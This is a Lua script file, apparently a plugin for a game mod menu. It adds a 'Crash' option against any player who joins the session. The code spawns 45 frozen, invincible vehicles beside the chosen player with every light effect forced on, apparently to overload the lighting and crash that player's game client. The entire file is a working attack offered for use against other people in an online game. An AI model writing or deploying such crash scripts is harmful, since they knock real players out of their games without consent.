Stand/scripts/vehicle-lights-overflow.lua
2024-10-16 11:20:42 +08:00

64 lines
2.1 KiB
Lua

util.require_natives(1672190175)
function Playerjoin(pid)
menu.action(menu.player_root(pid), "Crash", {""}, "", function()
menu.trigger_commands("timesmoothing off")
menu.trigger_commands("time 0")
while not STREAMING.HAS_MODEL_LOADED(util.joaat("deluxo")) do
STREAMING.REQUEST_MODEL(util.joaat("deluxo"))
util.yield()
end
local vehs = {}
local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid),0,3,0)
local Ped = PED.CREATE_RANDOM_PED(pos.x, pos.y, pos.z)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(Ped)
entities.set_can_migrate(Ped,false)
PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(Ped,true)
ENTITY.SET_ENTITY_INVINCIBLE(Ped,true)
for i = 1 , 45 do
vehs[i] = entities.create_vehicle(util.joaat("deluxo"), pos, ENTITY.GET_ENTITY_HEADING(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)) - 180)
ENTITY.FREEZE_ENTITY_POSITION(vehs[i],true)
entities.set_can_migrate(vehs[i],false)
PED.SET_PED_INTO_VEHICLE(Ped,vehs[i], -1)
VEHICLE.SET_VEHICLE_ENGINE_ON(vehs[i],true,true,false)
VEHICLE.SET_VEHICLE_KEEP_ENGINE_ON_WHEN_ABANDONED(vehs[i],true)
ENTITY.SET_ENTITY_INVINCIBLE(vehs[i],true)
for m =0 ,3 do
VEHICLE.SET_VEHICLE_NEON_ENABLED(vehs[i],m,true)
end
VEHICLE.SET_AMBIENT_VEHICLE_NEON_ENABLED(vehs[i])
entities.set_upgrade_value(vehs[i],22,10)
for n = 17, 22 do
VEHICLE.TOGGLE_VEHICLE_MOD(vehs[i],n,true)
end
VEHICLE.SET_VEHICLE_XENON_LIGHT_COLOR_INDEX(vehs[i],10)
VEHICLE.SET_VEHICLE_HAS_UNBREAKABLE_LIGHTS(vehs[i],false)
VEHICLE.SET_VEHICLE_LIGHTS(vehs[i],3)
VEHICLE.SET_VEHICLE_HEADLIGHT_SHADOWS(vehs[i],3)
VEHICLE.SET_VEHICLE_INTERIORLIGHT(vehs[i],true)
VEHICLE.SET_VEHICLE_FORCE_INTERIORLIGHT(vehs[i],true)
util.yield(50)
end
util.yield(5000)
entities.delete(Ped)
for i = 1 , #vehs do
if vehs[i] ~= nil then
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(vehs[i])
entities.delete(vehs[i])
util.yield()
end
end
Models = nil
pos = nil
vehs = nil
end)
end
players.on_join(Playerjoin)
players.dispatch_on_join()
util.keep_running()